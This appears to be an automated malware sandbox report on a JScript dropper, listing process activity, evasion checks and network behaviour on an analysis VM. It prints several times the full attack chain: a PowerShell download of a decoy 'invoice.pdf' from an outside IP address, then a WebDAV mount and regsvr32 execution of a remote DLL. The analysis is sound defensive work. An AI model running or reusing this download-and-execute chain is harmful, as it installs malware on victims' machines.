Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6080.js.csv");ITextStream.WriteLine(" entry:8063 f:foevs");ITextStream.WriteLine(" exec:2 f:foevs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5785			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4062			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1744	Thread sleep count: 5785 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1744	Thread sleep count: 4062 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3592	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7652	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1704872027.000002B028B5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}%
Source: wscript.exe, 00000000.00000002.1707220730.000002B028B72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\/Q
Source: net.exe, 00000006.00000003.1773357687.000001F554D4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3005469472.000002378BA5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1777959690.000001F554CE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: svchost.exe, 00000008.00000002.3003938192.000002378642B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
